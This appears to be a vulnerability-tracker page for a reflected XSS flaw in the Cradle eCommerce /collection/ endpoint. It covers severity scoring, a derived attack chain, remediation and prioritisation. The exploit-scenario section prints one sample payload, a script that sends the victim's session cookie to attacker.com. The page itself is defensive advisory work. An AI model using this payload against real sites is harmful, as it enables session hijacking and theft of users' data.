Skip to main content

Cradle eCommerce EUVDEUVD-2026-29056

| CVE-2026-3319 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-11 INCIBE GHSA-2hwv-x45q-vm8v
5.1
CVSS 4.0 · Vendor: INCIBE
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker crafts XSS payload URL
  2. Delivery
    Attacker distributes link via phishing/social engineering
  3. Exploit
    Victim clicks malicious link
  4. Install
    Browser sends request to vulnerable /collection/ endpoint
  5. C2
    Server reflects unencoded payload in HTML response
  6. Execute
    Browser executes injected JavaScript
  7. Impact
    Attacker steals session cookies or personal data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The vulnerability requires a user to click an attacker-supplied link containing malicious input in the /collection/ endpoint query parameters. The input is reflected directly in HTML output without sanitization or encoding. Exploitation is limited to the /collection/ endpoint specifically and affects only users who interact with malicious links - there is no mechanism for exploitation via direct network access without user interaction. The vulnerability does not require authentication, allowing any internet user to craft and distribute malicious links. Non-default configurations or special application settings are not mentioned in the CVE description, suggesting the vulnerability is present in standard deployments of the affected versions.

Impact

CVSS 5.1 reflects low-medium severity with network attack vector (AV:N), low complexity (AC:L), no privileges required (PR:N), but mandatory user interaction (UI:A) - the attacker must trick a user into clicking a malicious link. The CVSS vector shows low confidentiality (VC:L) and integrity impact (VI:L), with no availability impact. This is accurate for reflected XSS: impact is limited to individual user sessions and data exfiltration, not widespread system compromise. No EPSS score provided in input data. No public exploit identified and no KEV (CISA Known Exploited Vulnerabilities) listing - this suggests the vulnerability is not currently weaponized at scale. The real-world risk is moderate-to-low: exploitation requires social engineering and affects only users who click attacker-supplied links, limiting blast radius. However, in security-sensitive contexts (e-commerce processing payments or personal data), even isolated XSS events pose meaningful risk for session hijacking or sensitive data theft. The requirement for user interaction (UI:A) significantly reduces risk compared to network-based XSS without user action.

Exploit ScenarioDerived

An attacker crafts a malicious URL such as https://vulnerable-site.com/collection/?product=<script>fetch('https://attacker.com/?cookie='+document.cookie)</script> and tricks a user (via phishing email or social media) into clicking the link. When the victim's browser requests the page, the /collection/ endpoint reflects the unencoded script tag in the HTML response, causing the victim's browser to execute the JavaScript and exfiltrate session cookies to the attacker's server, enabling session hijacking.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 11, 2026

Reflected XSS in Cradle eCommerce platform allows unauthenticated remote attackers to execute arbitrary JavaScript in user browsers via unsanitized input reflected in the /collection/ endpoint. The vulnerability requires user interaction (clicking a malicious link) but affects the latest demo version with CVSS 5.1 (low-medium severity). No public exploit code or active exploitation has been identified at time of analysis, though a vendor patch is available.

RemediationAI

Apply the vendor-released patch available from INCIBE (https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-cradle-e-commerce). Exact patched version number is not provided in available data - contact vendor directly or review the advisory for specific version increments. As an immediate compensating control, implement Web Application Firewall (WAF) rules to block requests containing script injection payloads in the /collection/ endpoint parameters, though this may generate false positives if legitimate user input contains angle brackets or JavaScript keywords. Additionally, deploy Content Security Policy (CSP) headers with script-src restrictions to prevent inline script execution even if XSS payload reaches the DOM - this mitigates impact but does not eliminate the root vulnerability. Input validation and output encoding (HTML entity encoding for user input in HTML context) must be implemented in the application code itself to fully resolve CWE-79.

Affected VersionsENISA

Cradle latest demo version

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This is a classic reflected cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation). The /collection/ endpoint fails to sanitize or encode user-supplied input before rendering it in HTML output, allowing attackers to inject malicious JavaScript that executes in the context of a victim's browser session. The vulnerability exploits the trust relationship between users and the legitimate Cradle application to deliver client-side attacks such as session hijacking, credential theft, or malware delivery. Affected products are identified via CPE a:e-commerce:cradle with all versions matching the wildcard pattern.

Know when Cradle gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (INCIBE) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (INCIBE) · only source for this CVE.

CVSS VectorVendor: INCIBE

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

3
CVSS changed
May 11, 2026 - 16:22 NVD
5.1 (MEDIUM)
CVE Published
May 11, 2026 - 14:26 nvd
MEDIUM 5.1
CVE Published
May 11, 2026 - 14:26 nvd
UNKNOWN (no severity yet)

DescriptionCVE.org

Reflected Cross-Site Scripting (XSS) in the latest demo version of the Cradle eCommerce platform. User-controlled input is insecurely reflected in the HTML output in the endpoint /collection/. Exploitation of this vulnerability would allow an attacker to execute arbitrary JavaScript code.

Threat Intelligence Overview

EPSS Score
0.0%
Top 85% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy